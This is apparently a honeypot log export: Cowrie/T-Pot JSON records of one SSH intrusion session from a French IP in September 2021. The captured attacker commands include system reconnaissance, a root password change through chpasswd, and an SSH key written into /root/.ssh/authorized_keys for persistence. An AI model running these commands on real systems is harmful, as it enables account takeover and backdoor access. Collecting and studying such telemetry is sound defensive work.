35723	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.033916+03	2021-09-20 15:15:03.63769+03	{"_id": "7QYdA3wBvYTbRNuEAF0a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.033916Z", "@timestamp": "2021-09-20T12:10:04.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35724	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.782468+03	2021-09-20 15:15:03.63869+03	{"_id": "7gYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.782468Z", "@timestamp": "2021-09-20T12:10:03.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35725	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.3063+03	2021-09-20 15:15:03.63969+03	{"_id": "9QYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.306300Z", "@timestamp": "2021-09-20T12:10:04.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35726	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.034465+03	2021-09-20 15:15:03.64069+03	{"_id": "8AYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.034465Z", "@timestamp": "2021-09-20T12:10:04.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35727	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.861864+03	2021-09-20 15:15:03.64269+03	{"_id": "9AYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "163.172.167.225", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07947850227355957, "duplicate": true, "timestamp": "2021-09-20T12:10:03.861864Z", "@timestamp": "2021-09-20T12:10:03.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35728	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.541712+03	2021-09-20 15:15:03.64369+03	{"_id": "8gYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.541712Z", "@timestamp": "2021-09-20T12:10:04.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35729	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.305717+03	2021-09-20 15:15:03.644691+03	{"_id": "9wYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.305717Z", "@timestamp": "2021-09-20T12:10:04.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35730	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.542257+03	2021-09-20 15:15:03.64569+03	{"_id": "-AYdA3wBvYTbRNuEAF0b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:04.542257Z", "@timestamp": "2021-09-20T12:10:04.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35731	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.620487+03	2021-09-20 15:15:03.646691+03	{"_id": "-QYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "163.172.167.225", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07885622978210449, "duplicate": true, "timestamp": "2021-09-20T12:10:04.620487Z", "@timestamp": "2021-09-20T12:10:04.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35732	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.121713+03	2021-09-20 15:15:03.648692+03	{"_id": "_AYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "163.172.167.225", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08033895492553711, "duplicate": true, "timestamp": "2021-09-20T12:10:05.121713Z", "@timestamp": "2021-09-20T12:10:05.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35733	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.269472+03	2021-09-20 15:15:03.649691+03	{"_id": "_gYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.269472Z", "@timestamp": "2021-09-20T12:10:05.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35734	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.270061+03	2021-09-20 15:15:03.65069+03	{"_id": "BgYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.270061Z", "@timestamp": "2021-09-20T12:10:05.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35735	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.042006+03	2021-09-20 15:15:03.65169+03	{"_id": "AgYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.042006Z", "@timestamp": "2021-09-20T12:10:05.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35736	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.496924+03	2021-09-20 15:15:03.65269+03	{"_id": "AwYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.496924Z", "@timestamp": "2021-09-20T12:10:05.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35737	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.573748+03	2021-09-20 15:15:03.65469+03	{"_id": "BQYdA3wBvYTbRNuEBF4E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "163.172.167.225", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07747626304626465, "duplicate": true, "timestamp": "2021-09-20T12:10:05.573748Z", "@timestamp": "2021-09-20T12:10:05.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35738	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:04.881613+03	2021-09-20 15:15:03.65569+03	{"_id": "-wYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "163.172.167.225", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08266711235046387, "duplicate": true, "timestamp": "2021-09-20T12:10:04.881613Z", "@timestamp": "2021-09-20T12:10:04.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35739	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.346537+03	2021-09-20 15:15:03.65669+03	{"_id": "_QYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "163.172.167.225", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.0773003101348877, "duplicate": true, "timestamp": "2021-09-20T12:10:05.346537Z", "@timestamp": "2021-09-20T12:10:05.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35740	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.496371+03	2021-09-20 15:15:03.65769+03	{"_id": "_wYdA3wBvYTbRNuEBF0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.496371Z", "@timestamp": "2021-09-20T12:10:05.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35741	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.153914+03	2021-09-20 15:15:03.65869+03	{"_id": "xwYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.153914Z", "@timestamp": "2021-09-20T12:10:01.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35742	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:00.971197+03	2021-09-20 15:15:03.66069+03	{"_id": "zgYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "163.172.167.225", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "719b0a7cbeb6", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:10:00.971197Z", "@timestamp": "2021-09-20T12:10:00.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	FR
35743	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:00.973815+03	2021-09-20 15:15:03.66169+03	{"_id": "zwYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "163.172.167.225", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.0832357406616211, "duplicate": true, "timestamp": "2021-09-20T12:10:00.973815Z", "@timestamp": "2021-09-20T12:10:00.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35744	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.398557+03	2021-09-20 15:15:03.66369+03	{"_id": "zAYcA3wBvYTbRNuE9F1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "echo \\"root:QsoeFhFi987J\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:QsoeFhFi987J\\"|chpasswd|bash", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.398557Z", "@timestamp": "2021-09-20T12:10:01.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35745	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.655367+03	2021-09-20 15:15:03.664691+03	{"_id": "1AYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.655367Z", "@timestamp": "2021-09-20T12:10:01.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
